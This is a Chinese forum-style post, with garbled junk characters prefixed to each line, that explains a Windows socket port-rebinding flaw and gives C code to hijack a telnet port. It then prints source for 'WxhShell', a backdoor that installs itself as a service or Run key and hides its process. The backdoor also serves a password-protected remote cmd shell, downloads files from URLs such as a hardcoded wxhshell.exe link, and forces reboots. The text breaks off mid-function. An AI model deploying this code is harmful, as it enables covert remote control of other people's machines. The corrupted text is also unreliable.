在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是:
"eOFp\vPr s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP);
bayDdR4T E!SxO~ saddr.sin_family = AF_INET;
g71|t7Q 16Gp nb saddr.sin_addr.s_addr = htonl(INADDR_ANY);
9&VfbrBM Du7DMo=l bind(s,(SOCKADDR *)&saddr,sizeof(saddr));
o+F]80CH )Co&(;zf 其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。
f0Zn31c^ z pV+W-j] 这意味着什么?意味着可以进行如下的攻击:
JA(M'&q4 KvtX>3#qM 1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。
PD$@.pib '3'*VcL( 2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到)
_1EWmHZ? ! {c"C 3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。
Z7:TPY$b Sn~h[s_( 4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。
sY*iRq ]Ac&h
aAP 其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。
-!JnyD \Ng|bWR>LQ 解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。
2,bLEhu 6O9?":3; 下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。
!^m,v19Ds< S(MVL!Lm #include
x}(p\Efx #include
1 ^q~NYTK #include
trAIh}Dj #include
KH_~DZU*5 DWORD WINAPI ClientThread(LPVOID lpParam);
~Q36lR int main()
C;BC@OE {
$EUlh^ WORD wVersionRequested;
[L4s.l_# DWORD ret;
|WMP_sGn WSADATA wsaData;
`Ir{ax&H.e BOOL val;
sPoH12?AL SOCKADDR_IN saddr;
*!p#1fE SOCKADDR_IN scaddr;
rJ 7yq|^Z int err;
4y$tp18 SOCKET s;
2C@s-`b SOCKET sc;
q\q8xF~[p int caddsize;
.*acw HANDLE mt;
8&2W^f5 DWORD tid;
EKTn$k= wVersionRequested = MAKEWORD( 2, 2 );
z:a%kZQ!0 err = WSAStartup( wVersionRequested, &wsaData );
XZ1oV?Z4 if ( err != 0 ) {
W:V:Ej7 h printf("error!WSAStartup failed!\n");
uFH ]w]X return -1;
r)Dln5F }
ImZ!8# saddr.sin_family = AF_INET;
)e6)~3[^ fH6mv0 //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了
t;2\(_A yWkg4 saddr.sin_addr.s_addr = inet_addr("192.168.0.60");
mO|YX/> saddr.sin_port = htons(23);
p%?m|(4f if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR)
co-dq\P {
']cRSj. printf("error!socket failed!\n");
}k7t#O return -1;
+;*dFL }
,'0Zd(s val = TRUE;
!caY //SO_REUSEADDR选项就是可以实现端口重绑定的
)~CnDk}^R if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0)
jXCSD@?]K {
{=)g?!zC printf("error!setsockopt failed!\n");
:,]*~Nl return -1;
t=B>t S.hO }
CQGq}.Jt! //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码;
Q`* v|Lp //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽
U 4Sxr //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击
b!hs|emo; {6, l#z if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR)
;5TQH_g {
m(6SiV=D9 ret=GetLastError();
?9I=XTR printf("error!bind failed!\n");
/CW
0N@ return -1;
d} {d5-_a }
!da[#zK listen(s,2);
']]5xH*U while(1)
sH_5.+,` {
G+dQ" cI9 caddsize = sizeof(scaddr);
|MEu"pY) //接受连接请求
g E#4 3 sc = accept(s,(struct sockaddr *)&scaddr,&caddsize);
Sh(W s2b7 if(sc!=INVALID_SOCKET)
'L1=:g.\i {
tITx+i mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid);
@_
Q if(mt==NULL)
+^0Q~>=VD {
y53f73Cg printf("Thread Creat Failed!\n");
YrRD3P.P break;
7F!(60xY }
=mWr8p-H }
40ZHDtIu< CloseHandle(mt);
QhqXd }
V% PeZ.Xv closesocket(s);
dd{pF\a WSACleanup();
oI2YJ2?Je8 return 0;
5OS|Vp||b }
xQ{n|)i> DWORD WINAPI ClientThread(LPVOID lpParam)
|yT-N3H@ {
AXmW7/Sj" SOCKET ss = (SOCKET)lpParam;
,-[e{=Cz SOCKET sc;
dH8^\s .F unsigned char buf[4096];
'1u!@=.\G SOCKADDR_IN saddr;
ZA>p~Zt long num;
Yc] DWORD val;
(}jYi*B DWORD ret;
KOqp@K$ //如果是隐藏端口应用的话,可以在此处加一些判断
W:z?w2{VI( //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发
`5$B"p&i saddr.sin_family = AF_INET;
*RpBKm&^7 saddr.sin_addr.s_addr = inet_addr("127.0.0.1");
/xseI)y.B saddr.sin_port = htons(23);
tn@MOOPl if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR)
^qgOgu {
p(J,fus printf("error!socket failed!\n");
(Z{&[h return -1;
*pMu,?uE }
<XAW-m9SC val = 100;
W{6%Hhp if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0)
djGzJLH {
+2WvGRC ret = GetLastError();
'tRaF return -1;
Kq. MmR!gl }
mxxuD"5 if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0)
VUD ?iv7 {
H[S 4o, ret = GetLastError();
Q
\E[py return -1;
:j=/>d],% }
/`)>W : if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0)
'i5V6yB {
#4Z]/D2G printf("error!socket connect failed!\n");
kCoTz"Z- closesocket(sc);
N4z(2. closesocket(ss);
%M/rpEE"b% return -1;
UCv9G/$ }
XX@@tzN while(1)
NjL^FqA[ {
)X
dpzWod //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。
?jDdF //如果是嗅探内容的话,可以再此处进行内容分析和记录
Q8^fgI | //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。
xbeVqP num = recv(ss,buf,4096,0);
Cc7YjsRW if(num>0)
K.{:H4_ send(sc,buf,num,0);
Z\@m_/g else if(num==0)
I,pI2 break;
r'C(+E ( num = recv(sc,buf,4096,0);
"N|gU;~W if(num>0)
$2?10}mrx send(ss,buf,num,0);
\@ jYY~ else if(num==0)
nKP[U=ac break;
4z$}e- }
g/2e Y$6Z closesocket(ss);
9)Jc'd| closesocket(sc);
HS% P return 0 ;
ML|O2e }
[kjm EMF9i SW^/\cJ^ 5NT?A,r" ==========================================================
HRPNZ!B GdxMHnn= 下边附上一个代码,,WXhSHELL
"AAzBWd/ qxR7;/@j ) ==========================================================
:W++`f& in/ITy- #include "stdafx.h"
0VOj,)K= GOx+%`.R\ #include <stdio.h>
gp/_# QVWC #include <string.h>
8LH"j(H #include <windows.h>
kN99( #include <winsock2.h>
BWd{xP y
#include <winsvc.h>
PN$vBFjm #include <urlmon.h>
lM<SoC;[ 0d%p<c #pragma comment (lib, "Ws2_32.lib")
e=]>TeqG0 #pragma comment (lib, "urlmon.lib")
]I|3v]6qR :=I@<@82W #define MAX_USER 100 // 最大客户端连接数
-X)KY_Xn@/ #define BUF_SOCK 200 // sock buffer
~PoBvHi #define KEY_BUFF 255 // 输入 buffer
[J6*Q9B<V& y].vll8R #define REBOOT 0 // 重启
D m|_;iO, #define SHUTDOWN 1 // 关机
%S2^i3 /%fa_+,|- #define DEF_PORT 5000 // 监听端口
0%9Nf!j mM&*_#(
6 #define REG_LEN 16 // 注册表键长度
_B5t)7I #define SVC_LEN 80 // NT服务名长度
AxXFzMW .7!n%Ks // 从dll定义API
7Z(F-B
+j typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD);
d_0r typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG);
:tv:46+s= typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded);
GO=& typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize);
L;n2,b J:{$\m' // wxhshell配置信息
D`t }V struct WSCFG {
2!Mwui;% int ws_port; // 监听端口
/Ww_fY char ws_passstr[REG_LEN]; // 口令
QzzV+YG$(4 int ws_autoins; // 安装标记, 1=yes 0=no
GCf3'u char ws_regname[REG_LEN]; // 注册表键名
t:|+U:! > char ws_svcname[REG_LEN]; // 服务名
o9l =Q char ws_svcdisp[SVC_LEN]; // 服务显示名
b`4R`mo char ws_svcdesc[SVC_LEN]; // 服务描述信息
X CjYm char ws_passmsg[SVC_LEN]; // 密码输入提示信息
HhmC+3w.7 int ws_downexe; // 下载执行标记, 1=yes 0=no
&r{.b#7\/A char ws_fileurl[SVC_LEN]; // 下载文件的 url, "
http://xxx/file.exe"
*acN/Ca1 char ws_filenam[SVC_LEN]; // 下载后保存的文件名
(Oc[j{6q R"au8f. };
tPT\uD#t GQNs :oRJ' // default Wxhshell configuration
^Ms)T3dM struct WSCFG wscfg={DEF_PORT,
m]1=o7 "xuhuanlingzhe",
S<hj6A 1,
rb/m;8v> "Wxhshell",
]m#.MZe "Wxhshell",
4)o_gm~6c4 "WxhShell Service",
:?Xd&u0){ "Wrsky Windows CmdShell Service",
5 W<\J "Please Input Your Password: ",
x<0-'EF/S 1,
G%a8'3d, "
http://www.wrsky.com/wxhshell.exe",
kH!I&4d& "Wxhshell.exe"
hLVS}HE2 };
h48JpZ" [w%MECTe // 消息定义模块
8-N8v
*0 char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005
http://www.wrsky.com\n\rMake by 虚幻灵者\n\r";
RaKfYLw char *msg_ws_prompt="\n\r? for help\n\r#>";
Q9lw~" char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>
http://.../server.exe\n\r";
%f{1u5+5 char *msg_ws_ext="\n\rExit.";
d2Z kchf char *msg_ws_end="\n\rQuit.";
Y4%Bx8 char *msg_ws_boot="\n\rReboot...";
+DWmutL char *msg_ws_poff="\n\rShutdown...";
9I a4PPEH1 char *msg_ws_down="\n\rSave to ";
?G5JAG` .b4_O
CGg char *msg_ws_err="\n\rErr!";
9.KOrg5}L char *msg_ws_ok="\n\rOK!";
:q V}v2 1_Um6vS# char ExeFile[MAX_PATH];
_]"5]c&*3 int nUser = 0;
$c-h'o HANDLE handles[MAX_USER];
$B6"fYiDk int OsIsNt;
00') Ol& avR4#bfc SERVICE_STATUS serviceStatus;
8{5Y%InL SERVICE_STATUS_HANDLE hServiceStatusHandle;
` Nn^ f\Bd lOJ> // 函数声明
zMfr`&%e int Install(void);
#clPao?r int Uninstall(void);
P@Wi^svj int DownloadFile(char *sURL, SOCKET wsh);
UTEUVcJ\ int Boot(int flag);
w_po5[]R void HideProc(void);
rpsq.n int GetOsVer(void);
}]pq&v! int Wxhshell(SOCKET wsl);
"_qH+=_R void TalkWithClient(void *cs);
wVvk{tS int CmdShell(SOCKET sock);
$73j*@EQA int StartFromService(void);
v535LwFW int StartWxhshell(LPSTR lpCmdLine);
7qB}Hvh }5H3DavW VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv );
6#xP[hlR[ VOID WINAPI NTServiceHandler( DWORD fdwControl );
7xP>AU)y 0`=#1u8
// 数据结构和表定义
'`q&UPg] SERVICE_TABLE_ENTRY DispatchTable[] =
L\||#w {
P8K{K:T {wscfg.ws_svcname, NTServiceMain},
0]l _qxv {NULL, NULL}
kji*7a?y };
QE&rpF7l{ PaF`dnJ // 自我安装
)%q]?@kB int Install(void)
j2T
Z`Z?a^ {
mie<jha char svExeFile[MAX_PATH];
tBgB>-h( HKEY key;
:CO>g=` strcpy(svExeFile,ExeFile);
>]q{vKCAP hKw4 [wB] // 如果是win9x系统,修改注册表设为自启动
;BV1E|j if(!OsIsNt) {
4P@Ak7iL(V if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) {
^Bw2y&nN RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile));
'>AOJaA RegCloseKey(key);
}
h|1H if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) {
\*x]xc/^ RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile));
eK\1cs RegCloseKey(key);
[HB>\ return 0;
<d,Qi.G4 }
o5gt`H" }
-W(O~AK }
)s6pOxWx else {
n?*Fr sZ "nXL7N0 // 如果是NT以上系统,安装为系统服务
l~,5)*T SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE);
$LLkYOwI if (schSCManager!=0)
A-\OB
Nh {
nwh7DUi SC_HANDLE schService = CreateService
?yfk d:WD (
gF;i3OJg schSCManager,
n7`R+4/s wscfg.ws_svcname,
!es?GJq` wscfg.ws_svcdisp,
M]YK]VyG SERVICE_ALL_ACCESS,
Z@fMU2e=Z SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS ,
2xvTijO0 SERVICE_AUTO_START,
Jg=[!j0( SERVICE_ERROR_NORMAL,
q"OvuHBSOn svExeFile,
[psW+3{bG NULL,
w-l:* EV8 NULL,
yTWP1 NULL,
c%_I|h<?iT NULL,
UD`bK a`E NULL
RiC1lCE );
LutP&Ebt8 if (schService!=0)
"ewSh<t {
_p/
_t76s CloseServiceHandle(schService);
V|3}~(5= CloseServiceHandle(schSCManager);
!6hUTjhW7z strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\");
_,:gSDW| strcat(svExeFile,wscfg.ws_svcname);
VSa\X~ if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) {
?sV0T)uk RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc));
)IQa]A RegCloseKey(key);
)%lPa|7s return 0;
[V_Z9-f* }
bhaIi>W~G }
T !C39T CloseServiceHandle(schSCManager);
:B?C~U k }
A L|F
Bd }
+CL`]'~;E- 8 SII>iL{ return 1;
xMNUyB{? }
25%[nkO4 <U(wLG'XS // 自我卸载
iIFM 5CT int Uninstall(void)
.$5QM& {
Coz\fL HKEY key;
)
-x0xY
b6sj/V8 if(!OsIsNt) {
7M*&^P\}es if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) {
"w.gP8` RegDeleteValue(key,wscfg.ws_regname);
;5qZQ8`4 RegCloseKey(key);
oUrNz#U if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) {
Vvk1 D( RegDeleteValue(key,wscfg.ws_regname);
@&(0]kZ6 RegCloseKey(key);
EYNi` return 0;
$'FPsoH }
Y=+pz^/" }
UfcQFT{() }
F}p)Q$0 else {
M:6Yy@#T. tQ=P.14>: SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS);
P%MYr"<$E if (schSCManager!=0)
JGl0
(i*| {
ha+)ZF SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS);
D?ojxHe if (schService!=0)
+VxzWNs*JP {
EM9K^l` if(DeleteService(schService)!=0) {
wp7<0PP CloseServiceHandle(schService);
[@YeQ{ CloseServiceHandle(schSCManager);
Q!7il<S return 0;
A)"?GK{* }
KwO;ICdJ CloseServiceHandle(schService);
PhTMXv<cE }
J?VMQTa/+ CloseServiceHandle(schSCManager);
/U\k<\1~m }
s`Z|
A }
.!|\Y!]^r XS+2OutVo return 1;
E Dh$UB) }
y&;ytNG&< _Q)rI%A2 // 从指定url下载文件
/dGpac int DownloadFile(char *sURL, SOCKET wsh)
QP HibPP: {
[X K^3pT_ HRESULT hr;
XdS&s}J[I char seps[]= "/";
{/|RKV83 char *token;
x_Y03__/ char *file;
+/+:D9j , char myURL[MAX_PATH];
4yy9m8/ char myFILE[MAX_PATH];
d)hA'k BMaw]D strcpy(myURL,sURL);
Eod'Esye5 token=strtok(myURL,seps);
*Ae>
,LyE while(token!=NULL)
)LOV)z|} {
t!^ j0 q file=token;
"u29| OY token=strtok(NULL,seps);
pjG/` }
KV&4Ep# 7dxTyn= GetCurrentDirectory(MAX_PATH,myFILE);
PydU.,^7 strcat(myFILE, "\\");
#6okd*^ strcat(myFILE, file);
f8ucJ.{" send(wsh,myFILE,strlen(myFILE),0);
>#pZ`oPEAv send(wsh,"...",3,0);
FYe#x]ue hr = URLDownloadToFile(0, sURL, myFILE, 0, 0);
05
56#U&> if(hr==S_OK)
z{;~$." return 0;
pE&'Xr#P> else
-d'swx2aZ! return 1;
[%?ViKW ZQ@Ul }
:{7gZ+*
?rauhTVnJ // 系统电源模块
@J~hi\&` int Boot(int flag)
LR`]C] {
MKiP3kt8 HANDLE hToken;
qXF#qS-28 TOKEN_PRIVILEGES tkp;
V.\12P /O`<?aP% if(OsIsNt) {
MgpjC` OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken);
$c^,TAN LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid);
mCb1^Y tkp.PrivilegeCount = 1;
PCqE9B)l tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;
#/"?.Z;SSH AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0);
)h0
3sv if(flag==REBOOT) {
r2b_$ if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0))
o57r ,`N return 0;
pDYcsC{p }
"+dByaY else {
yxx9h3 if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0))
|[+/ ]Y return 0;
;*+wg5| }
5EX
Ghc' }
4CH/~b1( else {
.:wo
ARW! if(flag==REBOOT) {
W)~}o<a)[ if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0))
b=$(`y return 0;
W]B75 }
\bXusLI!l else {
(JX 9c if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0))
/^M|$JRI return 0;
{e]ktj#+{ }
@sPuc. }
%M7EOa woyn6Z1JQ return 1;
ORDVyb_x }
*xV 9YQYg@+R // win9x进程隐藏模块
z%lLbKSe void HideProc(void)
i8nzPKF2$3 {
BbCaIt +{b3A@f|F HINSTANCE hKernel=LoadLibrary("Kernel32.dll");
]yAOKmS if ( hKernel != NULL )
,v@C=4'm {
P9yg pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess");
n=iL6Yu( ( *pRegisterServiceProcess)(GetCurrentProcessId(),1);
=zsA@UM0 FreeLibrary(hKernel);
&@U) }
-]~KQvIH! N+nv#]{ return;
VRQD
}
hVGK%HCz& @9AK!I8f // 获取操作系统版本
]1)#Y int GetOsVer(void)
)RCva3Ul {
yM
PZ} OSVERSIONINFO winfo;
zd0[f3~ winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO);
:ceT8-PBRx GetVersionEx(&winfo);
Va-. if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT)
1e)5D& njS return 1;
`:*O8h~i^8 else
?#0m[k&` return 0;
0J z|BE3Y }
GOU>j"5}2 5sZqX.XVF // 客户端句柄模块
vxZ :l int Wxhshell(SOCKET wsl)
}}X<e {
|T+YC[T#v SOCKET wsh;
CFW#+U#U struct sockaddr_in client;
~{00moN"m DWORD myID;
d`sIgll&n kE[Hq-J=N while(nUser<MAX_USER)
AAc*\K {
XCyAt;neon int nSize=sizeof(client);
f+V^q4 wsh=accept(wsl,(struct sockaddr *)&client,&nSize);
/oC@:7 if(wsh==INVALID_SOCKET) return 1;
P
~rT uj =u<jxV9 handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID);
q]rqFP0C if(handles[nUser]==0)
e13' dCG closesocket(wsh);
78h!D[6 else
%pUA$oUt nUser++;
z/P^Bx]r }
<tI_u ~P WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE);
2q}lSa7r QdK
PzjA return 0;
)\m%&EXG{ }
La8 D%N YgR}y+q^6 // 关闭 socket
!V27ln KP+ void CloseIt(SOCKET wsh)
DTN)#GCtF {
f\X7h6k8{ closesocket(wsh);
]&_z@Z.i nUser--;
P;V5f8r? ExitThread(0);
.`~=1
H\R" }
YDjjhe+ $TY1'#1U; // 客户端请求句柄
Cm%xI&Y void TalkWithClient(void *cs)
`7
3I}%? {
/7&WFCc)( =y]FcxF SOCKET wsh=(SOCKET)cs;
owe6ge7m
char pwd[SVC_LEN];
v<:/u(i char cmd[KEY_BUFF];
Jl-:@[; char chr[1];
L8~zQV$h int i,j;
TFI$>Oz| LPS]TG\ while (nUser < MAX_USER) {
EncJB
4Ixu% if(wscfg.ws_passstr) {
H|s,;1# if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0);
>vZ^D //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0);
6fV;V:1{ //ZeroMemory(pwd,KEY_BUFF);
gT#hF]c: i=0;
, A;wLI while(i<SVC_LEN) {
*x@.$=NF" M&5De{LS} // 设置超时
`FRdo fd_set FdRead;
C~c|};&% struct timeval TimeOut;
Qt"i FD_ZERO(&FdRead);
9k3RC}dEr FD_SET(wsh,&FdRead);
gi
JjE TimeOut.tv_sec=8;
j7
\y1$w TimeOut.tv_usec=0;
>L,Pw1Y0W[ int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut);
VdF<#(X+ if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh);
25/M2u? ?;ovh nY) if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh);
4rH:`494 pwd
=chr[0]; iE* Y@E5x0
if(chr[0]==0xd || chr[0]==0xa) { B<!WAw+
pwd=0; M:R|hR{=*
break; e<duDW$X
} r%vO^8FQ
i++; qqr]S^WW
} 3<X*wVi)NN
4&wwmAp^
// 如果是非法用户,关闭 socket g%%j"Cz1
if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); f6JC>Np
}
k'PN fx\K
`c /mmS
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); Ae^Idz
send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); P"<,@Mn
Ag_I'
while(1) { (T1d!v"~"
57`9{.HB
ZeroMemory(cmd,KEY_BUFF); ]udH`{]
YV)h"u+@0
// 自动支持客户端 telnet标准
(i>bGmiN
j=0; lj"72
while(j<KEY_BUFF) { /YD2F
if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); #GIjU1-
cmd[j]=chr[0]; )|IMhB+4
if(chr[0]==0xa || chr[0]==0xd) { Tu7sA.73k
cmd[j]=0; *7^w}v+.
break; U{Moyj
} 4j}uVGi{e
j++; ?vV&tqnx%
} ^8{:RiN6e~
+|6 u
0&R^
// 下载文件 xL\R-H^c]
if(strstr(cmd,"http://")) { e3}o3c_
send(wsh,msg_ws_down,strlen(msg_ws_down),0); m!^z{S
if(DownloadFile(cmd,wsh)) "XWO#,Ue
send(wsh,msg_ws_err,strlen(msg_ws_err),0); "cx#6Bo|
else
:qrCqFl
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); r"x/,!_E
} on)$y&lu
else { w/Y6m.i1
9q>rUoK^
switch(cmd[0]) { :{M1]0NH
"Is0:au+?}
// 帮助 S|/Za".Gr
case '?': { /=~o|-n8@
send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); 97MbyEE8J
break; Iv51,0A
} 4=7h1qex
// 安装 F92et<y.
case 'i': { 4NRG{FZ9
if(Install()) )=6o,
send(wsh,msg_ws_err,strlen(msg_ws_err),0); #({ 9M
else Gu5%P ou
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); +w9X$<?_
break; %tT=q^%5
} mFW/xZwR,5
// 卸载 ?b3({P
case 'r': { QRAw#
if(Uninstall()) >SaT?k1E
send(wsh,msg_ws_err,strlen(msg_ws_err),0); Y(Q!OeC
else OpxJiu=W
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); |QxT"`rT
break; 3FE=?Q
} `;v>fTcy
// 显示 wxhshell 所在路径 J6J|&Z~UT,
case 'p': { <v[UYvZvY
char svExeFile[MAX_PATH]; Ncsk~=[
strcpy(svExeFile,"\n\r"); q+?>shqsZ
strcat(svExeFile,ExeFile); mxkv{;ad
send(wsh,svExeFile,strlen(svExeFile),0); -efB8)A
break; N!YjM x)P
} oz#;7
?9
// 重启 (#5TM1/A
case 'b': { {5J: ]{p
send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); y5$AAas
if(Boot(REBOOT)) ]n (:X
send(wsh,msg_ws_err,strlen(msg_ws_err),0); $}z%}v
else { pPnJf{
closesocket(wsh); 1^^9'/
ExitThread(0); #S*cFnd
} KdU&q+C^
break; @zAav>
} Ub% 1OQ
// 关机 J>%uak<
case 'd': { )R5=GHmL
send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); {>8u/
if(Boot(SHUTDOWN)) L__J(6,V2
send(wsh,msg_ws_err,strlen(msg_ws_err),0); vu=`s|R
else { Lzy Ix!S
closesocket(wsh); r E<Ou"
ExitThread(0); Ub| -Q
} :9f/d;Mo3
break; ?*: mR|=
} D<UX^hU
// 获取shell >do3*koA
case 's': { ;@lC08SE
CmdShell(wsh); Gz@/:dW^vZ
closesocket(wsh); IPEJ7n49
ExitThread(0); O.^1r
break; NI33lp$V
} VVVw\|JB>
// 退出 PDtLJt$
case 'x': { {j4J(dtO
send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); qe_59'K
CloseIt(wsh); <WGx
6{
break; {3R?<ET]mt
} ED=P
6u
// 离开 C|H/x\?zRv
case 'q': { *7:HO{P>Y
send(wsh,msg_ws_end,strlen(msg_ws_end),0); j/*4Wj[
closesocket(wsh); Q=T/hb
WSACleanup(); CZ.XEMN\
exit(1); YpwMfl4
break; LG>lj$hO
} -na oM
} 'Nn>W5#))
} PAHkF&
d>r_a9 .u
// 提示信息 #Y;tobB
if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); JtGBNz!"
} z4iZE*ZS
} RY9h^q*
FNB4YZ6
return; VT~jgsY
} ~LufHbr
, \
6*fXc
// shell模块句柄 KQv97#n1
int CmdShell(SOCKET sock) Ub9p&=]h
{ >cM}M =4s
STARTUPINFO si; ds|L'7
ZeroMemory(&si,sizeof(si)); 7PG|e#
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; zv[pfD7a
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; TOvpv@?-
PROCESS_INFORMATION ProcessInfo; .GH#`j
char cmdline[]="cmd"; dp'xd>m
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); R7j'XU
return 0; }!n90
9L
} /\C5`>x
?> 7SZiC`
// 自身启动模式 R<AT}!mkR
int StartFromService(void) 6i.!C5YX]
{ Y[WL}:"93
typedef struct UYW{AG2C
{ @ - _lw
DWORD ExitStatus; A:5B6Z
DWORD PebBaseAddress; #mvOhu
DWORD AffinityMask; ,[t>N>10TH
